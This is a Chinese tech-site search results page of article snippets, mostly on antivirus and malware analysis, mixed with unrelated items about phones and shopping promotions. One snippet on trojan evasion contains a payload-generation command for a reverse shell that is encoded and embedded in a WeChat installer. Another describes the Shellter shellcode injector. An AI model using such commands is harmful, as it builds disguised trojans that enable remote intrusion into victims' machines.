首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

深度追踪WannaCry源头轶事

注1:基于隐私问题,本文中隐去黑客相关信息,如有关部门需要,请与腾讯反病毒实验室联系。...WannaCry敲诈勒索病毒从12日全面爆发到今天已过去近1个月,通过各个杀毒厂商积极应对,病毒传播趋势有所收敛。...黑客来自哪里反病毒实验室工程师通过对新增样本进行详细分析,发现新增样本中出现大量被修改“传播开关”、修改比特币地址的样本。...下图为12号WannaCry爆发原始样本: ? 下图为被修改了比特币地址的样本: ? 可以看到,除了比特币地址被修改,其他信息全部一样。...得到猜测的黑客画像: 此人参加过CTF(网络安全竞赛) Youtube上制作过黑客教程 传播过PHP恶意程序 活跃于黑客网站论坛 来自阿尔及利亚 找到此人常用EMAIL地址 找到此人的照片 在网络搜索引擎

1.1K60

关于火绒的12个技术问题

近日有卡饭网友向火绒提出12个问题,从产品性能到核心技术。这些问题非常棒,无论提问者是网友还是友商,火绒团队都非常愿意一起探讨。我们尝试一一作答如下。 ?...火绒认为,对感染型病毒以及宏病毒尽量采用清除而非删除处理,是反病毒引擎必须具备的能力。我们选择了这条比较难的路,会一直努力。 如果遇到了火绒不能有效清除的样本,请随时联系我们。...反病毒引擎的扫描过程,本质上来说是计算,计算是需要占用CPU时间来获得的,而对于CPU时间占用的多少则取决于计算的复杂度。...简单的文件哈希计算、统计学向量化及匹配等操作的计算量是可以忽略不记的,而启发式评估、虚拟沙盒等操作则是数据强计算型的操作,所以反病毒引擎在真正的扫描过程当中占用CPU是正常且合理的。...12、火绒怎么在样本区检出率很低呢?而智量的检出率却很亮眼,火绒不是有强大的虚拟沙盒吗?请官方人员做个解释。 回答: 关于检出率这个话题,火绒曾在《感谢您的质疑,容我们解释一二》里作过回答。

2.4K40
您找到你想要的搜索结果了吗?
是的
没有找到

火绒安全软件评测 | WitAwards 2016 「 年度安全产品」参评巡礼

火绒3.0主要包括以下五点反病毒能力: 1) 火绒反病毒特征库:拥有自主研发的新一代反病毒引擎,相对于国内大部分杀毒软件来说,火绒不会局限于国外OEM的病毒库或者反病毒技术。...2) 火绒反病毒引擎扫描核心:进行逻辑扫描,静态文件扫描,动态文件扫描,特征码扫描,以及宏病毒和感染型病毒查杀等功能。...而火绒针对2B产品主要是反病毒引擎OEM和火绒剑分析工具。...根据火绒官方介绍,火绒提供反病毒引擎SDK,和引擎、病毒库组件升级服务,火绒防病毒技术可以很容易地集成到公司产品或服务中,并提供公司的客户,提升产品的查杀能力,以及公司的产品收入。...WitAwards年度安全评选火热报名中 由FreeBuf主办的FIT 2017(2017 FreeBuf互联网安全创新大会)将于2016年12月28日-29日在上海陆家嘴上海国际会议中心召开。

3.6K70

行业首批︱腾讯云云镜荣获云计算产品信息安全和 CSA CSTR 证书

腾讯云安全能力再获业界认可 在本次论坛上,腾讯云云镜主机安全防护系统荣获云计算产品信息安全认证证书(SaaS 增强级认证)和 全球顶级认证 CSA CSTR 云安全标准认证证书, 证书的获得,是通过了公安部第三研究所检测中心联合云安全联盟...本次只有四家一线网络安全企业获得了证书,测评严格,腾讯云云镜是首批通过该认证的极少数产品之一。 ? ?...04 AI 检测引擎和海量样本资源,构建领先的检测能力 针对恶意程序类的检测,后端集成腾讯电脑管家新一代 TAV 反病毒引擎及哈勃分析系统,快速响应未知风险。...基于机器学习的 WebShell 检测引擎,有效对抗加密变形类恶意脚本,新增恶意样本检出率达92%,业内同行产品均是70%左右。  ?

13.8K30

木马免杀方式_木马入侵的常见方法

前言 免杀,又叫免杀毒技术,是反病毒,反间谍的对立面,是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。...weinxin.exe,已经下载 2.4、发现被AV查杀 如果在实战中,直接投递裸奔马比较容易引起对方运维人员的警觉,这种方式也比较冒险,所以在投递之前,要测试制作的木马是否会引起相关AV的查杀,比如在在线多引擎病毒识别工具中去测试...2.5、这里po一个在线杀毒查杀的网站,virustotal是一个提供免费的可疑文件分析服务的网站,它与传统杀毒软件的不同之处是它通过多种反病毒引擎扫描文件。...使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。...windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9999 -e x86/shikata_ga_nai -x WeChatSetup.exe -i 12

1.6K40

腾讯主机安全“猎刃计划”正式发布!WebShell挑战赛再燃起,PHPer燥起来!

为进一步提升安全性能,T-Sec主机安全团队联合腾讯安全云鼎实验室、腾讯安全反病毒实验室、腾讯安全科恩实验室、腾讯安全应急响应中心(TSRC)等,正式推出“猎刃计划”系列挑战赛,诚征各位安全猎手云上对抗...此次我们首次对外公开全新自研的WebShell攻击检测“引擎”——TAV反病毒引擎+洋葱恶意代码检测引擎,诚邀大家测试对抗。...挑战环境 1)搭建的检测引擎环境地址: http://175.178.188.150/ (公测开始时开放)。 参赛者可以在该地址提交PHP文件进行绕过测试。...常见问题FAQ 1)检测引擎检测结果说明: 查杀:上传文件被安全引擎判断为恶意文件。...未查杀:上传文件被安全引擎判断为正常文件 文件异常、扫描异常:检测服务器存在异常,请重新上传文件,如持续异常,请联系TSRC处理。

1K70

动态Shellcode注入工具 – Shellter

Shellter还提供了其他特性 对于反病毒软件绕过来说,避免使用静态注入点是非常重要的。但是,Shellter的能力并不仅限于此,它能提供某些额外的高级功能。...不影响输出大小(输入及输出) 没有静态PE模板,框架包装等 支持所有32位的有效载荷(通过metasploit生成或用户定制) 支持所有的编码 支持用户创建的自定义编码 废弃代码多变引擎 用户可自定义多变代码...利用动态线程背景信息防止静态分析--目前仅手动模式 检测自修改代码 追踪单线程或多线程应用程序 基于执行流程的位置进行动态注入 反汇编向用户显示可用注射点 用户可自主选择如何注入,何时注入,在哪里进行注入

1K10

AVAR 2017 之感悟

12 月 6 日 ,以“不忘初心——对抗日益严重的网络犯罪”为主题的第二十届亚洲反病毒大会 (AVAR 2017) 在京召开,来自全球 20 多个国家和地区的 200 多位顶级专家学者汇聚一堂,共议反病毒前沿技术及发展趋势...依我的看法,反病毒的工作以后会越来越依赖三样东西:互联网、大数据和人工智能。...2016 年,瑞星根据之前应用机器学习获得的经验,研发了高维度、大规模的基于随机森林的 Windows 恶意软件识别引擎 - RDM+。高维度特征提取自文件结构、内容以及分析,训练样本达数千万。...从今年AVAR会议的报告内容上来看,无论是大数据还是人工智能分析,都对反病毒技术产生了促进作用。...我们期盼着,也许真的有一天,能够像瑞星的叶超介绍的那样:反病毒工程师能够脱离繁重的体力劳动,能够真正做到比病毒快那么一点点。

84150

“勒索病毒”RansomCrowti详细分析报告

现如今的反病毒引擎也基本都可以对这类加壳程序进行识别,并通常都有不同程度的脱壳能力。...随着反病毒引擎技术的发展,为了对抗反病毒引擎的脱壳技术,病毒作者开始选择一些“地下壳”或者“私有壳”加密自己的病毒,这类壳也通常有着很强的代码变形能力,我们通常称这类病毒专属的壳为“病毒混淆器“。...传统扫描引擎对壳的”识别“被颠覆,基于“通用脱壳”(Generic Unpacking)的反病毒引擎应运而生。...图11、Stub Code构造的IAT 在解码过程中,混淆器使用了一个超大的循环,用于对付扫描引擎的模拟器(如图10、图12)。...图12、通过超大循环对抗反病毒虚拟机 3 病毒主体分析 在步过混淆代码之后,将内存镜像转储为2a8e29ab5d25b5cf1bddd21496dcab0aa8455b24_dump,这个就是勒索病毒Ransom

1.8K10

OPPO R15来了,网友:刚买了R11s,就出R15,你觉得我还会吗?

配备了后置摄像头,而前置摄像头依旧采用了到 2000万像素。...你觉得我还会吗?是的,你猜对了! 网友:老子刚的R11S没两天,你跟我说要出R15?????网友:我的R7用到R15都出来都没换过手机。...所有的钱都用来给明星代言费,试问你的手机研究经费能高到哪里?质量?这种机子我们业内叫它“一次性手机”。 网友:有些人能别觉得自己最清醒吗?...网友:你们都说你们的oppo这不好那不好,可是我的oppo r7s还好好的呀,我15年12月份的,用到现在了,摔了好几次了,屏都没有碎,就是钢化膜碎过两三次,手机也就偶尔卡过几次,还是因为我操作的原因卡的...大家还是参考下值不值得 好了 才几个月研制的新机 也不会有太大突破。所以还是会有很多追星族,义无反顾的的。才刚r11s,反正买不起!

10.5K70

【技术种草】工作了17年,2021年11是我见过有史以来“撸腾讯云羊毛”最狠的一次!

1、可以放自己的资料,走到哪里都不怕丢文件,一键上传,多爽,速度还快; 2、可以部署一个自己唯一的博客网站; (1)有自己的独立域名; (2)想发什么就发什么,无拘无束(当然了,一定要合法哦); (3)...如果你想了,那么请继续往下看,经过我对比的三大云服务厂商的11优惠政策,带你拿下最爽的服务器!!!!! 为什么今年要撸腾讯云的羊毛呢?...小窍门:针对老用户,这个地方我有一个小招,还是从我朋友那里学来的,上一个11,他在腾讯云领了价值万元的卷,然后节省了1万多。厉害吧。...spread_hash_key=62ff2cb05c7850ac840ec53a39ad789b 5、无论是企业还是个人,服务器都享受加码礼; 加码礼1: 即送千元券 活动任意一台轻量服务器,或者云服务器...,就送千元代金券,无需任何额外操作。

49.4K30

今天11,和心爱的她一起去「云露营」

---- 新智元报道 编辑:编辑部 【新智元导读】这个天猫11,酷炫的AI技术,为你我打造了一场如梦似幻的沉浸式购物之旅。 今年11,你什么了?...如果相中了准备,只要简单一划,就直接跳转到购买页面了,剁手比过去更方便了有没有! 就比如说,现在的电视一个比一个大,我怎么知道挂在我家的墙上效果如何?...让我们走进任意门,看看会通向哪里? 进入了一个很酷炫的虚拟空间。 让我们选择这个空间。只见一座缥缈的水云阁楼,烟斜雾横,廊腰缦回,还有一棵红叶古树。竟然是…… 小兰花的司命殿!...这种边看边的购物体验,越来越被大家广泛接受。我们也都越来越习惯于通过直播、短视频这样的内容形态去种草。 天猫的开发者们,也一直在思考如何更好地满足消费者的各种需求。...天猫依托底层3D引擎(AceNNR)、AI引擎(MNN)、AR引擎、多媒体等技术,让我们能通过AR应用、3D展示等各种方法,看到各种产品的形态。

18.5K40

三十二.恶意代码检测(2)常用技术万字详解及总结

另外,通J令可以通过相关机构或群众发现,而特征值检测技术依靠反病毒引擎来进行比对。...最早的时候,整体病毒数量不多,比如KV300,当时就是拿着软盘每个月去到指定的地方进行病毒库的更新,后来逐渐通过网络的方式更新反病毒软件,每天都可以更新很多次,反病毒软件再根据反病毒引擎进行病毒的查杀。...早在2016年12月份,360安全卫士查杀团队首次发现了暗云的新一个变种,这就是今年兴起的暗云Ⅲ木马。...并且暗云Ⅲ能通过挂钩磁盘StartIO保护自身,去掉了上一个版本Object钩子,保留了DPC保护,在2016年12月,360安全卫士就已经专门为查杀此顽固木马下发了新驱动,一旦发现自身设备名被占用,即判定为暗云...所以反病毒公司会根据实际情况制定自身的反病毒软件策略,结合用户需求可能会放松策略。

2K30

量市场2019年的收官战,只剩一个“难”字来形容

2019年10月12日,该游戏正式上线,并曾获10月新游投放金额第一。...网易位居次席,老产品《率土之滨》《倩女幽魂》保持平稳量节奏之余,12月上线的新品《梦幻西游三维版》也在加大量推广节奏。...2019年Q4,手游广告主青睐的移动广告平台Top 10包括腾讯广告、巨量引擎、百度信息流、阿里汇川、快手、Applovin、百度百青藤、网易易效、搜狗星耀、UnityAds。 ?...比如Q4新上线的《灌篮高手》将巨量引擎作为投放主战场,《三国志·战略版》在百度信息流、阿里汇川等渠道投入力度较大。 ?...而对方似乎并不满意这个答案,上前继续质问“那么多元宝又是哪里来的?”“回收装备换元宝,秒回收,秒到账。”从而带出了第二个卖点。 ?

1.1K20

epp和edr_一文读懂分频器

从目前各厂商的适配情况看,除了常规win、linux等,国产系统适配进度也很快,针对主流虚拟化如VM、华为、华三、深信服、路坦力、SmartX、Zstack、阿里云、腾讯云这些一般也都兼容) 反病毒软件的技术发展过程...在最早期,病毒种类数量少,所以杀毒软件防病毒是哈西恶意文件获得MD5值,属于一对一对比,改动文件名都会导致MD5值的变化,所以随着病毒种类增多,md5略显乏力,但安全人员发现某些病毒有同样的特征,所以反病毒发展到了特征值匹配阶段...,比如可疑命令、异常登录、反弹shell、上传webshell等,而启发式检测只是总结了一些恶意文件执行后的共同行为),同时结合威胁情报信息提升了EPP的反病毒能力,但以上全部过程都是防御能力的叠加,当针对性...EDR将一个企业的终端安全分为了预防、防御、检测、响应四个阶段,这也是Gratner指出的下一代终端安全软件应具备的4个能力象限,且每个象限指出了3个功能建议,即共12个建议项,只有12个功能全覆盖,才能闭环保护终端安全...1.具备多引擎杀毒能力,对对勒索病毒预防、防护、检测和响应的完整闭环能力 支持对病毒文件落地、运行的实时检测和拦截;支持基于多引擎的人工病毒查杀;自研人工智能引擎自主学习有效防御未知威胁,针对勒索病毒检测具备业界领先的检出率

2.3K10

肥皂与手纸:神奇的电商大数据分析

11.11光棍节已经过去,12.12促销又要到来,回望双十一的疯狂与激情,哪些人在小米、哪些人在华为,哪些人在林志玲,哪些人在杜蕾斯,都将是有趣的话题。...虽然市面上有不少大数据之类的书籍,但是真正专业电商技术解密和实践案例分享的书籍还真是独此一家,我马上去几本送给我的程序猿朋友们。...怎么这么多人肥皂和手纸?是啊,这就是趋势变化,一方面说明京东商城百货化成绩不俗,购物篮丰富度大大提升,另一方面也说明年轻网民们的生活必需品消费也呈现出电商化的趋势。 ?...2013年十一期间,新用户主要集中在电脑办公,手机数码品类,用户数占比分别为16%、13%;2014年十一期间,新用户主要集中在服饰内衣、鞋靴箱包等品类,用户数占比21%、12%。...按道理讲朝阳区北京夜生活最丰富的地区了,曾经的天上人间,灯红酒绿的三里屯都在这里,双十一朝阳区的青年们都跑哪里去了。

28.8K100

11腾讯云大使推广赚钱攻略💰

获取【返佣合辑活动页】key推广链接的方式:获取主会场key链接后,自行替换key链接中的双十一活动链接为返佣合辑页链接。...建议推广双十一活动【购买即赠】或云产品特惠活动【赠专区】产品,该区产品最低价为 ¥58;满足所有返佣额外激励活动中订单金额的激励门槛。图片图片二、双十一推广常见问题Q&A1、推广哪些服务器返佣?...不受折扣限制,推广任一款轻量都可参与基础返佣;2)云服务器CVM:大于或等于5折CVM可返佣(订单若使用抵扣代金券,按照扣减代金券后实际支付的现金金额计算折扣)双十一活动【购买即赠】或云产品特惠活动【赠专区...新手大使抽奖活动仅针对新会员和1星会员,抽奖时间为11月5日12:00 至 12月4日23:59 ,获得的抽奖次数如果在2022年12月4日23:59前未进行抽奖,抽奖次数则失效,默认放弃抽奖机会。...】产品,该区产品均赠企业额外激励门槛。

50.7K340
领券